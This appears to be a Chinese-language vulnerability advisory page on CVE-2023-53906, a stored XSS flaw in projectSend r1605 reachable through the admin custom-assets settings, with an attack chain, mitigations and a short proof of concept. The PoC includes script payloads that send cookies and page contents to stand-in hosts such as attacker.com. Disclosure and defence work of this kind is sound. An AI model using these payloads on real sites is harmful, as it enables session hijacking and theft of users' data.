IPBUF安全漏洞报告
English
CVE-2023-53906 CVSS 4.8 中危

CVE-2023-53906 projectSend存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53906
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
projectSend

相关标签

CVE-2023-53906存储型XSSStored XSSprojectSend跨站脚本认证绕过Web应用漏洞文件共享系统

漏洞概述

CVE-2023-53906是projectSend r1605版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞允许经过身份验证的管理员通过自定义资产(custom assets)配置页面注入恶意JavaScript代码。由于注入的脚本会被持久化存储,当其他用户访问受影响页面时,恶意代码会自动执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意操作。projectSend是一款开源的文件共享和传输管理应用程序,广泛应用于企业内部文件传输场景。该漏洞的CVSS评分为4.8,属于中等严重程度,但由于是存储型XSS且需要管理员权限,攻击面相对有限,但仍需及时修复以防止权限提升攻击。

技术细节

该漏洞存在于projectSend的自定义资产配置功能模块中。攻击者(具有管理员权限)可以在自定义资产页面的特定输入字段中注入恶意JavaScript payload。由于应用程序未对用户输入进行充分的输入验证和输出编码,注入的脚本被直接存储到数据库中。当其他用户访问包含该自定义资产配置的页面时,服务器从数据库读取数据并将其嵌入到HTML响应中,恶意脚本随之执行。攻击者可利用此漏洞窃取受害者的会话cookie、模拟用户操作、修改页面内容或进行钓鱼攻击。由于是存储型XSS,恶意脚本会持续存在于应用中,直到被管理员发现并清除。漏洞的利用条件为:攻击者需拥有管理员账户登录凭证,且需要诱导其他用户访问受影响的页面以触发脚本执行。

攻击链分析

STEP 1
步骤1
攻击者获取projectSend管理员账户的登录凭证
STEP 2
步骤2
使用管理员账号登录系统,访问自定义资产配置页面
STEP 3
步骤3
在自定义资产相关字段(如Logo URL、自定义CSS/JS等)中注入恶意JavaScript payload
STEP 4
步骤4
保存配置,恶意脚本被持久化存储到数据库中
STEP 5
步骤5
其他用户或管理员访问受影响页面时,服务器从数据库读取并输出含恶意脚本的页面内容
STEP 6
步骤6
受害者浏览器执行注入的JavaScript代码,导致会话劫持、敏感信息窃取或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53906 Stored XSS PoC for projectSend r1605 // Target: projectSend Custom Assets Configuration Page // Login as administrator and navigate to custom assets settings // Inject the following payload in any custom assets field (e.g., logo, favicon, custom CSS/JS) const xssPayload = `<script>alert(document.cookie)</script>`; // Alternative payload for session hijacking: const sessionHijackPayload = ` <script> fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)); </script> `; // For exploitation, use the following steps: // 1. Login to projectSend with admin credentials // 2. Navigate to: Settings -> Custom Assets / Options // 3. Insert XSS payload in one of the fields (logo URL, custom CSS, etc.) // 4. Save the configuration // 5. Any user visiting the affected page will trigger the payload // Example using fetch API for data exfiltration: const exfilPayload = ` <script> document.addEventListener('DOMContentLoaded', function() { var data = { cookies: document.cookie, html: document.body.innerHTML, url: window.location.href }; fetch('https://attacker-controlled-server/log?data=' + JSON.stringify(data)); }); </script> `;

影响范围

projectSend r1605

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制管理员账户数量并使用强密码策略;2)审计现有管理员账户,移除不必要的账户;3)对自定义资产配置页面实施额外的访问控制;4)监控应用日志以检测异常活动;5)考虑暂时禁用自定义资产功能;6)部署Web应用防火墙(WAF)规则检测和阻止XSS攻击payload。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表